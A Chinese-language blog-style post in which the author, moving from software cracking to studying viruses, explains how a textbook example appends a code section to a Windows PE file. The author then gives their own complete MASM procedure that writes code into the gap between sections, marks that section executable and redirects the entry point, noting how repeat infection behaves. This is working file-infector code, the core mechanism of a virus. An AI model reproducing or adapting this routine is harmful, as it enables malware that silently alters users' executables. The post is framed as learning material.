破解和逆向工程,在很多人眼里看起来可能比较陌生,或者感觉遥远。是的,面对一行又一行的汇编代码,面对陌生的寄存器,面对由push、pop、call、ret等命令引起的堆栈数据的变化,很多人望而却步。是啊,高级语言中的变量都变成了一个又一个看似毫无意义的地址,顺序、循环、分支被分解为各种jx xxxx跳转,没有静态库可以调用,没有编译器的语法检查和内存访问检查,稍有疏忽程序就会出现非法操作。这就是汇编语言——更接近机器,而更远离人类自然语言。而高级语言是让计算机做了很多工作,使人们可以更方便、快捷的编写出自己想要的计算机程序。然而汇编代码是程序在cpu上运行的每一条指令,看懂了汇编语言,那么任何程序都没有任何秘密可言了!
前一段时间研究了一阵子的破解和逆向工程,逆向了扫雷程序,破解了WINDOWS优化大师,也算是小有收获了。现在想研究一下计算机病毒。计算机病毒其实就是一段程序代码,不过它一般是附加在正常的程序之中,可以自我复制传播,通常有一定的破坏性。它具备了生物病毒的特点,因此得名。
首先把罗云彬的《Windows环境下32位汇编语言程序设计》第17章的AddCode的代码翻出来了。这个程序是往一个PE文件中附加一节(section),在节中加入附加代码,并把入口地址改成新加的代码的第一条指令的地址,当附加代码运行完后再跳转到原来的代码运行。
之前看第一遍的时候基本就是囫囵吞枣的看完的,有很多地方不求甚解,这次决心把它彻底搞清楚。一共是四个文件:
Main.asm 界面主程序
_ProcessPeFile.asm 处理文件的程序
_AddCode.asm 要附加的代码
_GetKernel.asm 由于附加代码没有导入表,所以一切API函数都要自己获取。
看Main.asm还比较容易,无非就了WINDOWS对话框程序,消息处理函数中处理点击菜单项,调用windowsAPI显示打开文件对话框。
接下来就是处理选择的文件了,程序在_ProcessPeFile.asm中。一开始先复制一个PE文件的复本,在这个复本上进行修改。再往下看,就费劲了。虽然有些注释,但还是费劲,一条注释下面N条语句。知道是注释的这个功能,可是还是不容易看懂。想个办法,把《加密与解密》翻开看着PE文件的结构和字段意义,把每一条语句都注释出来。终于看明白了。
要一个PE文件里加入一节的信息,并把代码写进去,需要修改以下几个地方:
1) IMAGE_NT_HEADERS.FileHeader.NumberOfSections += 1; 这里记录了文件中SECTION的数量
2) IMAGE_NT_HEADERS.OptionalHeader.SizeOfCode += 附加代码长度
3) IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage += 附加代码长度
4) 然后在原文件最后一个节表的后面增加一个节表,新节表的各个字段需做如下设置
a) SizeOfRawData = 依IMAGE_NT_HEADERS.OptionalHeader.FileAlignment对齐后的 附加代码长度
b) VirtualAddress = 依IMAGE_NT_HEADERS.OptionalHeader.SectionAlignment对齐后的的 附加代码段长度
c) Misc.VirtualSize = 附加代码段的长度
d) Characteristics = IMAGE_SCN_CNT_CODE or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
e) PointerToRawData = 原最后一节的 PointerToRawData + 原最后一节的 SizeOfRawData
5) IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint = 新节的VirtualAddress + 附加代码中第一条指令的偏移量
6) 修改附加代码最后的跳转地址为原入口地址
这样加入一节可能会有问题,如果最后一个节表到数据区的的间隔不足以再放下一个节表(40个字节)的话,这种方法会破坏第一节的数据区。索性的是绝大多数的EXE文件这里的空隙都大于40个字节。这样的做法还有一个特点就是会改变文件大小。
搞清楚了这个程序的原理,我就想,其实两个相临的节数据之间还是有空隙的,何不用这个空隙来写入附加代码呢?这样1)~4)数据都不用修改,只要再改变一下插入数据那一节的节中 Misc.VirtualSize 字段即可(其实不改它也是可以的,对于反复感染会带来一些麻烦),具体代码如下(MASM版本)
_ProcessPeFile proc
local @szNewFile[MAX_PATH]:byte
local @hFile,@dwTemp,@dwEntry,@lpMemory
LOCAL @oldEntryPoint, @FileSize
pushad
invoke lstrcpy,addr @szNewFile,addr szFileName
invoke lstrlen,addr @szNewFile
lea ecx,@szNewFile
mov byte ptr [ecx+eax-4],0
invoke lstrcat,addr @szNewFile,addr szExt ;构造新文件名
invoke CopyFile,addr szFileName,addr @szNewFile,FALSE ;复制一个副本
;打开文件
invoke CreateFile,addr @szNewFile,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or /
FILE_SHARE_WRITE,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax == INVALID_HANDLE_VALUE
jmp _Ret
.endif
mov @hFile,eax
invoke GetFileSize,@hFile, NULL ;获取文件大小
mov @FileSize, eax
invoke GlobalAlloc,GMEM_ZEROINIT,@FileSize ;申请与文件一样大的内存
mov @lpMemory, eax
invoke ReadFile,@hFile, @lpMemory, @FileSize, addr @dwTemp, NULL ;将文件读入内存
mov esi, @lpMemory
assume esi:ptr IMAGE_DOS_HEADER
add esi, [[esi].e_lfanew]
assume esi:ptr IMAGE_NT_HEADERS ;esi指向IMAGE_NT_HEADERS
movsx ecx, [esi].FileHeader.NumberOfSections ;获取SECTION数目,下面遍历所有节表用
push [esi].OptionalHeader.AddressOfEntryPoint
pop @oldEntryPoint ;保存旧的入口RVA
mov edx, esi
add edx, sizeof IMAGE_NT_HEADERS
assume edx:ptr IMAGE_SECTION_HEADER ;edx指向IMAGE_SECTION_HEADER
ScanSection: ;循环判断SizeOfRawData-VirtualSize
;是不是大于附加代码长度
mov eax, [edx].SizeOfRawData
sub eax, [edx].Misc.VirtualSize
cmp eax, offset APPEND_CODE_END - offset APPEND_CODE
jg MoveData
add edx, sizeof IMAGE_SECTION_HEADER
loop ScanSection
jmp Free ;没有符合条件的节,释放内存,关闭文件
MoveData:
mov ebx, [edx].PointerToRawData
add ebx, [edx].Misc.VirtualSize ;这里是相对地址
add ebx, @lpMemory
push esi ;保护esi
lea esi, offset APPEND_CODE ;准备esi 寄存器, SRC
mov edi, ebx ;准备edi, DST
mov ecx, offset APPEND_CODE_END - offset APPEND_CODE ;准备ecx, 存入附加代码长度
cld
rep movsb ;copy附加代码到文件内存中
pop esi ;恢复esi的值
sub edi, 5 ;末尾代码是push XXXXXXXX
; RET
;所以要把XXXXXXXX修改成你想要的地址
;就要向前移动5个字节
mov eax, @oldEntryPoint ;eax得到原入口地址的RVA
add eax, [esi].OptionalHeader.ImageBase ;eax加上exe文件载入基址
mov dword ptr[edi], eax ;修改附加代码后的跳转地址
or [edx].Characteristics, 0E0000020h ;修改该节属性为可以运行
mov eax, [edx].VirtualAddress ;得到原来该节的起始RVA
add eax, [edx].Misc.VirtualSize ;加上内存映射大小
add eax, offset _NewEntry - offset APPEND_CODE ;在跳过附加代码开头的数据区
mov [esi].OptionalHeader.AddressOfEntryPoint, eax ;修改入口地址
;下面一句是可选的,如果不改变的话,二次感染会发生问题,附加代码出现死循环,有兴趣的朋友可以试试
add [edx].Misc.VirtualSize, offset APPEND_CODE_END - offset APPEND_CODE
;移动文件指针到文件开头
invoke SetFilePointer,@hFile, 0, NULL, FILE_BEGIN
;写数据到文件
invoke WriteFile, @hFile, @lpMemory, @FileSize,addr @dwTemp, NULL
Free:
invoke GlobalFree,@lpMemory ;释放内存
invoke CloseHandle,@hFile ;关闭文件
_Ret:
assume esi:nothing
popad
ret
_ProcessPeFile endp